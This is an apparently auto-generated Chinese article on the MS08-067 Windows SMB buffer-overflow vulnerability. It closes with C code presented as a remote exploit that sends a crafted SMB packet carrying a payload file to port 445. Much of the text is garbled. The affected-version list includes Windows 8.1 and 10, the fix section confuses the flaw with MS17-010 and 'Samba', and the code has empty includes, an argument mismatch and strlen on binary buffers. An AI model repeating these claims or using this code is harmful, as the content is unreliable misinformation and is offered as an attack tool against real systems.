一、漏洞簡介
1、MS08067漏洞是指在Microsoft Windows操作系統中,存在一種導致系統被攻擊者遠程控制的安全漏洞,該漏洞的類型為“緩衝區溢出”,攻擊者可以利用該漏洞執行任意代碼,獲取系統權限。
2、該漏洞在2008年10月由微軟公司發布安全公告並發布相關補丁。
3、影響範圍:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista SP1和SP2,Windows Server 2008 Gold和SP2,Windows 7 Gold和SP1,Windows Server 2008 R2 Gold和SP1,Windows 8.1,Windows Server 2012和R2,Windows 10 Gold和1511。
二、漏洞利用方式
1、攻擊者可以通過發送一個特製的SMB請求包給目標服務器,利用該包中的惡意代碼執行攻擊。
2、攻擊者還可以通過網頁釣魚的方式,將特製的SMB請求包嵌入到一個網頁中,當用戶訪問該網頁時,就可觸發攻擊。
3、攻擊者還可以通過在網絡上發送特製的文件共享請求,來觸發該漏洞。
三、漏洞的危害
1、攻擊者可以通過利用該漏洞,獲取系統權限,獲取用戶敏感信息。
2、攻擊者可以利用該漏洞在受害者的系統上植入惡意軟件,如木馬病毒等,來鎖定和監視受害者的系統。
3、攻擊者可以攻擊系統管理員的帳戶,並竊取管理員密碼,從而獲取對整個系統的控制權。
四、漏洞修復方式
1、微軟公司發布了一系列的安全補丁,可以及時修復這個漏洞。
2、更新安裝MS17-010安全補丁後,系統會拒絕來自公網的 Samba 刪除操作,而非允許攻擊者予以利用的隨機內存空間地址。
五、代碼示例
#include #include #include #include #define DEFAULT_BUFLEN 32768 #define NT_OFFSET 120 #define PAYLOAD_OFFSET 2972 int main(int argc, char *argv[]) { if (argc<2) { printf("Usage: \n"); return 0; } WSADATA wsaData; SOCKADDR_IN sin; SOCKET sock = INVALID_SOCKET; int port = 445; unsigned char snd_buf[DEFAULT_BUFLEN]; unsigned char rcv_buf[DEFAULT_BUFLEN]; memset(snd_buf, 0x00, DEFAULT_BUFLEN); memset(rcv_buf, 0x00, DEFAULT_BUFLEN); WSAStartup(MAKEWORD(2,2), &wsaData); sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(argv[2]); connect(sock, (SOCKADDR*)&sin, sizeof(SOCKADDR)); FILE *payl = fopen(argv[1], "rb"); fread(snd_buf + PAYLOAD_OFFSET, 1, DEFAULT_BUFLEN - PAYLOAD_OFFSET - 1, payl); fclose(payl); *(unsigned short*)(snd_buf + 67) = 0x54eb; *(unsigned short*)(snd_buf + 102) = strlen((const char*)snd_buf + NT_OFFSET); *(unsigned short*)(snd_buf + NT_OFFSET + 16) = strlen(argv[1]); memcpy(snd_buf + NT_OFFSET + 18, argv[1], *(unsigned short*)(snd_buf + NT_OFFSET + 16)); memcpy(snd_buf + NT_OFFSET, "\xffSMB", 4); *(snd_buf + NT_OFFSET + 4) = 0x25; *(unsigned short*)(snd_buf + NT_OFFSET + 5) = strlen((const char*)snd_buf + NT_OFFSET + 7); *(unsigned short*)(snd_buf + NT_OFFSET + 43) = strlen(argv[2]); printf("[i] Nops generated: %d bytes\n", PAYLOAD_OFFSET - NT_OFFSET - 32); printf("[i] Nops inserted at offset 74 and 75 (0x%04x)\n", htons(*(unsigned short*)(snd_buf + 67))); printf("[i] Payload size: %d bytes\n", strlen((const char*)snd_buf + PAYLOAD_OFFSET)); printf("[i] Payload inserted at offset %d (0x%04x)\n", PAYLOAD_OFFSET, htons(*(unsigned short*)(snd_buf + PAYLOAD_OFFSET - 2))); printf("[i] Sending exploit...\n"); send(sock, (const char*)snd_buf, strlen((const char*)snd_buf), 0); recv(sock, (char*)rcv_buf, DEFAULT_BUFLEN, 0); printf("[i] Done!\n"); return 0; }
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/238517.html